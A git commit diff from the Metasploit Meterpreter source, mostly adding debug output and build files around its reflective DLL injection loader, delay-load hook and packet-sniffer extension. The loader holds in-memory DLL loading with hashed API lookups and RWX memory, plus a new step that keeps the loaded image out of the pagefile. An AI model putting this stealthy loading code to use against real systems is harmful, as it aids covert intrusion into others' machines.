Checkin new code

unstable
HD Moore 2012-06-24 13:31:56 -05:00
parent 2d0d5287d2
commit 11b875d84d
24 changed files with 404 additions and 87 deletions

View File

@ -40,25 +40,39 @@ HMODULE hMetSrv = NULL;
// To enable all of this in a new extnesion:
// 1. Add metsrv.dll to the DELAYLOAD option in the projects properties (Configuration->Linker->Input).
// 2. Add in the include file #include "DelayLoadMetSrv.h".
// 3. Add the macro "EnableDelayLoadMetSrv();" after all you includes.
// 3. Add the macro "EnableDelayLoadMetSrv();" after all your includes.
// 4. Add the line "hMetSrv = remote->hMetSrv;" in your InitServerExtension() function.
//===============================================================================================//
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli )
{
switch( dliNotify )
{
case dliNotePreLoadLibrary:
// If we are tryinig to delay load metsrv.dll we can just return the
OutputDebugStringA("DELAY LOAD: ");
OutputDebugStringA(pdli->szDll);
OutputDebugStringA("\n");
// If we are trying to delay load metsrv.dll we can just return the
// HMODULE of the injected metsrv library (set in InitServerExtension).
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
OutputDebugStringA("FOUND!\n");
return (FARPROC)hMetSrv;
break;
case dliNotePreGetProcAddress :
OutputDebugStringA("DELAY FIND: ");
OutputDebugStringA(pdli->szDll);
OutputDebugStringA(" - ");
OutputDebugStringA(pdli->dlp.szProcName);
OutputDebugStringA("\n");
// If we are trying to get the address of an exported function in the
// metsrv.dll we must use GetProcAddressR() in case the metsrv was loaded
// via reflective dll injection
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
OutputDebugStringA("FOUND!\n");
return GetProcAddressR( pdli->hmodCur, pdli->dlp.szProcName );
break;
default:

View File

@ -31,7 +31,7 @@
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Delayimp.h>
#include "DelayLoadMetSrv.h"
#pragma comment (lib,"Delayimp.lib")
// we use this like a macro to set the hook in an server extension that requires it

View File

@ -40,6 +40,10 @@ FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
OutputDebugStringA("GetProcAddressR: ");
OutputDebugStringA(lpProcName);
OutputDebugStringA("\n");
__try
{
UINT_PTR uiAddressArray = 0;

View File

@ -63,6 +63,8 @@ DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
DWORD dwMeterpreterArch = 1;
#endif
OutputDebugStringA("GetReflectiveLoaderOffset\n");
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
@ -72,11 +74,13 @@ DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
OutputDebugStringA("GetReflectiveLoaderOffset: Win32\n");
if( dwMeterpreterArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
OutputDebugStringA("GetReflectiveLoaderOffset: Win64\n");
if( dwMeterpreterArch != 2 )
return 0;
}
@ -103,13 +107,19 @@ DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
OutputDebugStringA("GetReflectiveLoaderOffset: Looping\n");
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
OutputDebugStringA("GetReflectiveLoaderOffset: Found ");
OutputDebugStringA(cpExportedFunctionName);
OutputDebugStringA("\n");
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
OutputDebugStringA("GetReflectiveLoaderOffset: Found Function\n");
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
@ -142,6 +152,8 @@ HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
if( lpBuffer == NULL || dwLength == 0 )
return NULL;
OutputDebugStringA("LoadLibraryR()\n");
__try
{
// check if the library has a ReflectiveLoader...
@ -155,9 +167,11 @@ HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
{
// call the librarys ReflectiveLoader...
OutputDebugStringA("Calling pReflectiveLoader\n");
pDllMain = (DLLMAIN)pReflectiveLoader();
if( pDllMain != NULL )
{
OutputDebugStringA("Calling DLLMain\n");
// call the loaded librarys DllMain to get its HMODULE
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )

View File

@ -54,6 +54,9 @@ DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
LOADLIBRARYA pLoadLibraryA;
GETPROCADDRESS pGetProcAddress;
VIRTUALALLOC pVirtualAlloc;
VIRTUALLOCK pVirtualLock;
OUTPUTDEBUG pOutputDebug;
USHORT usCounter;
// the initial location of this image in memory
@ -74,19 +77,11 @@ DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
UINT_PTR uiValueB;
UINT_PTR uiValueC;
UINT_PTR uiValueD;
UINT_PTR uiValueE;
// hijacked import pointers for backwards compatibility
UINT_PTR encodePointerStub = 0;
UINT_PTR encodePointerStubBody = 0;
UINT_PTR heapSetInfoStub = 0;
UINT_PTR heapSetInfoStubBody = 0;
// matching string for function stubs
char patEncodePointer[12] = { 'c', 'o', 'd', 'e', 'P', 'o', 'i', 'n', 't', 'e', 'r', 0 };
char patHeapSetInformation[19] = { 'H', 'e', 'a', 'p', 'S', 'e', 't', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0 };
register UINT_PTR inspect;
// STEP 0: calculate our images current base address
// we will start searching backwards from our current EIP
#ifdef _WIN64
uiLibraryAddress = eip();
@ -96,21 +91,6 @@ DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
geteip:
pop uiLibraryAddress
}
__asm {
call get_encodepointer
mov eax, [esp+4]
ret 4
get_encodepointer:
pop encodePointerStubBody
call get_heapsetinfo
mov eax, 1
ret 16
get_heapsetinfo:
pop heapSetInfoStubBody
}
#endif
@ -160,7 +140,7 @@ get_heapsetinfo:
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
// normalize to uppercase if the module name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
@ -193,7 +173,7 @@ get_heapsetinfo:
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
usCounter = 5;
// loop while we still have imports to find
while( usCounter > 0 )
@ -202,7 +182,7 @@ get_heapsetinfo:
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
@ -217,7 +197,10 @@ get_heapsetinfo:
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALLOCK_HASH )
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == OUTPUTDEBUG_HASH )
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
@ -237,6 +220,9 @@ get_heapsetinfo:
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// prevent our image from being swapped to the pagefile
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
@ -244,24 +230,16 @@ get_heapsetinfo:
uiValueC = uiBaseAddress;
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
// create a new allocation just for our EncodePointer stub and copy the method body into it
if (encodePointerStubBody) {
encodePointerStub = (UINT_PTR)pVirtualAlloc( NULL, 128, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
__movsb( (PBYTE)encodePointerStub, (PBYTE)encodePointerStubBody, 128 );
}
// create a new allocation just for our EncodePointer stub and copy the method body into it
if (heapSetInfoStubBody) {
heapSetInfoStub = (UINT_PTR)pVirtualAlloc( NULL, 128, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
__movsb( (PBYTE)heapSetInfoStub, (PBYTE)heapSetInfoStubBody, 128 );
}
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
// iterate through all sections, loading them into memory.
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
@ -280,19 +258,30 @@ get_heapsetinfo:
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
uiValueC = ( uiBaseAddress + (UINT_PTR)((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
/*
pOutputDebug("Loading library: ");
pOutputDebug((LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ));
pOutputDebug("\n");
*/
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
if (! uiLibraryAddress) {
//pOutputDebug("Loading library FAILED\n");
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
continue;
}
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
@ -327,22 +316,14 @@ get_heapsetinfo:
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
/*
pOutputDebug("Resolving function: ");
pOutputDebug((LPCSTR)( (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ));
pOutputDebug("\n");
*/
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
// handled failed lookups for specific routines unimplemented in older Windows
// this enables VC2010+ compatiblity for older target platforms
if (! DEREF(uiValueA)) {
// (System)(Encode|Decode)Pointer
if (inline_strstr( (char *)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name, patEncodePointer) > 0) {
if (encodePointerStub) DEREF(uiValueA) = encodePointerStub;
}
// HeapSetInformation
if (inline_strstr( (char *)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name, patHeapSetInformation) > 0) {
if (encodePointerStub) DEREF(uiValueA) = heapSetInfoStub;
}
}
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
@ -355,6 +336,7 @@ get_heapsetinfo:
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)

View File

@ -42,11 +42,15 @@
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T);
typedef LPVOID (WINAPI * OUTPUTDEBUG)(LPCSTR);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define VIRTUALLOCK_HASH 0x0ef632f2
#define OUTPUTDEBUG_HASH 0x470d22bc
#define HASH_KEY 13
//===============================================================================================//
@ -71,19 +75,6 @@ __forceinline DWORD hash( char * c )
return h;
}
__forceinline char * inline_strstr( char *p, char *q )
{
for(; *p; ++p)
{
const char *p_tmp = p;
const char *q_tmp = q;
for( ; *p_tmp == *q_tmp && *q_tmp; ++p_tmp, ++q_tmp)
if( *p == *q && !*q_tmp ) return p;
}
return NULL;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{

View File

@ -0,0 +1,24 @@
.model flat, C
.data
__imp__EncodePointer@4 dd dummy
__imp__DecodePointer@4 dd dummy
__imp__HeapSetInformation@16 dd dummy2
EXTERNDEF __imp__EncodePointer@4 : DWORD
EXTERNDEF __imp__DecodePointer@4 : DWORD
EXTERNDEF __imp__HeapSetInformation@16 : DWORD
.code
dummy proc
mov eax, [esp+4]
ret 4
dummy endp
dummy2 proc
mov eax, 1
ret 10h
dummy2 endp
end

View File

@ -129,10 +129,11 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#ifdef _WIN32
#include <wininet.h>
// Enable debugging
// #define DEBUGTRACE 1
//#define DEBUGTRACE 1
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)

View File

@ -13,7 +13,6 @@
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
//#include "../../../ReflectiveDLLInjection/ReflectiveLoader.c"
Command customCommands[] =
{

View File

@ -0,0 +1,23 @@
#ifndef METERPRETER_SOURCE_EXTENSION_SNIFFER_SERVER_PRECOMP_H
#define METERPRETER_SOURCE_EXTENSION_SNIFFER_SERVER_PRECOMP_H
#define _WIN32_WINNT 0x0400
#include "sniffer.h"
#ifdef _WIN32
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
#include "../../ReflectiveDLLInjection/GetProcAddressR.h"
#include "../../ReflectiveDLLInjection/ReflectiveLoader.h"
// declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c
extern HINSTANCE hAppInstance;
#endif
#define strcasecmp stricmp
#endif

View File

@ -2,27 +2,32 @@
* This module implements packet sniffing features
*/
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "sniffer.h"
#include "precomp.h"
#ifdef _WIN32
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);}
HANDLE hMgr;
DWORD hErr;
DWORD pktsdk_initialize(void) {
dprintf("sniffer>> calling MgrCreate()...");
hMgr = MgrCreate();
if(! hMgr){
dprintf("sniffer>> failed to allocate a new Mgr object");
@ -60,6 +65,10 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
#else // posix side
#include "sniffer.h"
#include "../../common/common.h"
#define check_pssdk()
char *get_interface_name_by_index(unsigned int fidx)
@ -671,7 +680,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
#endif
j->pkts = calloc(maxp, sizeof(HANDLE));
j->pkts = (HANDLE *) calloc(maxp, sizeof(HANDLE));
if(j->pkts == NULL) {
#ifdef _WIN32
AdpCloseAdapter(j->adp);
@ -1089,6 +1098,8 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
DWORD index;
hMetSrv = remote->hMetSrv;
dprintf("[SERVER] Registering command handlers...");
for (index = 0; customCommands[index].method; index++) {
dprintf("Registering command index %d", index);

View File

@ -3,6 +3,8 @@
#ifdef _WIN32
#include "../../common/common.h"
#include <winsock2.h>
#include <ws2tcpip.h>

View File

@ -12,6 +12,9 @@
#ifdef _WIN32
#define _WIN32_WINNT 0x0500
#define USE_DLL
#endif
#define METERPRETER_EXPORTS

View File

@ -0,0 +1,37 @@
========================================================================
STATIC LIBRARY : backcompat Project Overview
========================================================================
AppWizard has created this backcompat library project for you.
This file contains a summary of what you will find in each of the files that
make up your backcompat application.
backcompat.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
backcompat.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
/////////////////////////////////////////////////////////////////////////////
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named backcompat.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////

View File

@ -0,0 +1,6 @@
C:\USERS\DEVELOPER\DOCUMENTS\GITHUB\METASPLOIT-FRAMEWORK\EXTERNAL\SOURCE\METERPRETER\WORKSPACE\BACKCOMPAT\RELEASE\BACKCOMPAT.LIB
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\backcompat.obj
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\backcompat.write.1.tlog
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\lib.command.1.tlog
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\Lib-link.read.1.tlog
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\Lib-link.write.1.tlog

View File

@ -0,0 +1,9 @@
Build started 6/24/2012 1:28:20 PM.
1>Project "C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\backcompat.vcxproj" on node 3 (clean target(s)).
1>_PrepareForClean:
Deleting file "Release\backcompat.lastbuildstate".
1>Done Building Project "C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\backcompat.vcxproj" (clean target(s)).
Build succeeded.
Time Elapsed 00:00:00.03

View File

@ -0,0 +1,92 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{C6FB3275-9067-4BBA-9206-0A720D2BC64F}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>backcompat</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<Lib>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
</Lib>
<Lib>
<SubSystem>Windows</SubSystem>
</Lib>
<Lib>
<MinimumRequiredVersion>5.0</MinimumRequiredVersion>
</Lib>
<Lib>
<LinkTimeCodeGeneration>false</LinkTimeCodeGeneration>
<OutputFile>.\Release\backcompat.lib</OutputFile>
</Lib>
</ItemDefinitionGroup>
<ItemGroup>
<MASM Include="..\..\source\backcompat\backcompat.asm" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<MASM Include="..\..\source\backcompat\backcompat.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

View File

@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
</Project>

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// backcompat.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,14 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,11 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#define _WIN32_WINNT 0x500
#include <SDKDDKVer.h>

View File

@ -2,28 +2,64 @@
Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_priv", "ext_server_priv\ext_server_priv.vcxproj", "{87C64204-C82F-415D-AF45-D0B33BDFE39A}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_stdapi", "ext_server_stdapi\ext_server_stdapi.vcxproj", "{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "metcli", "metcli\metcli.vcxproj", "{4DECF649-2B11-47A2-908E-031105D706F8}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "metsrv", "metsrv\metsrv.vcxproj", "{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLLInjection", "ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj", "{72F0246A-A38D-4547-9057-46020E8E503D}"
ProjectSection(ProjectDependencies) = postProject
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
EndProjectSection
EndProject
